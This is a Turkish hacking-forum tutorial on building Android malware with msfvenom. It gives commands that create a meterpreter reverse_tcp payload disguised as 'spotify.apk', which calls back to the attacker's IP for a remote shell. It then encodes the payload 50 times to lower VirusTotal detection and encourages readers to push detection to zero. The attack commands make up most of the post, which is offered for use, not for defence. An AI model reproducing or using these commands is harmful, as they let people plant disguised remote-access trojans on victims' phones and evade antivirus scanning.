#Msfvenom ile Android Virüs + Encode İşlemi.

Butcherb3y

Uzman üye
1 Eyl 2022
1,547
1,148
Anıtkabir

Herkese Merhaba Bugün Msfvenom ile Android
Virüs Oluşturacaz ve Bu Virüsü yine Msfvenom Kullanarak Encode Edicez
ve VirusTotal'de Taratacaz, Farkı Görecez.


**********************************************************************************************************************

Virüs Nasıl Oluşturulur Ona Detaylı Değinmicem,
"msfvenom -p android/meterpreter/reverse_tcp LHOST=(Kendi İP) LPORT=4444 -o spotify.apk "
Komutunu Yazarak Oluşturabilirsiniz.


rbu5rlu.png


Şuan Oluşmuş Durumda, Masaüstünede Geldi Zaten.
Şimdi Virüsü Taratalım.

6zc4dsz.png


Sonuç Bu Neredeyse Çoğuna Yakaladı.
Gelelim Encode Etmeye,


22ldi7x.png


Evet Encode Komutumuz
"msfvenom -p android/meterpreter/reverse_tcp LHOST=(Kendi İP) LPORT=4444 -e x64/xor -i 50 -o spotify.apk"
Burdaki -e Parametresi Encode Çeşidini Belirler Ben x64/xor Kullandım, -i Parametresi ise Kaç Defa Encode yapılacak
Onu Belirler Ne Kadar Çok O Kadar İyi Ben 50 yazdım, Encode Etmesini Bekledim ve Bitirdi.

Not: Daha Farklı Encode Çeşitleri Bakmak Görmek İsterseniz Terminale Şu Komutu Yazmanız Yeterli.
"msfvenom --list encoders"

**********************************************************************************************************************
Evvet Şimdi Virüs Encode Olduğuna Göre Taratıp
Sonuçlara Bakalım Hadi.

1j5f12n.png


Tarama Sonucu Algılama Yarıyarıya Düştü, siz
Daha İyi, Daha Farklı Encode Çeşidi Seçerseniz -i parametresini de Yüksek Tutarsanız
Bu Sonucu Hiç Tespit Edilmez Hale Getirebilirsiniz.

Okuyan Herkese Teşekkürler. Tespit Edilmeyi Sıfıra İndiremesekte
Siz Nasıl Yapıldığını Öğrendiniz. Kurcalamak Size Kalmış :)


 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.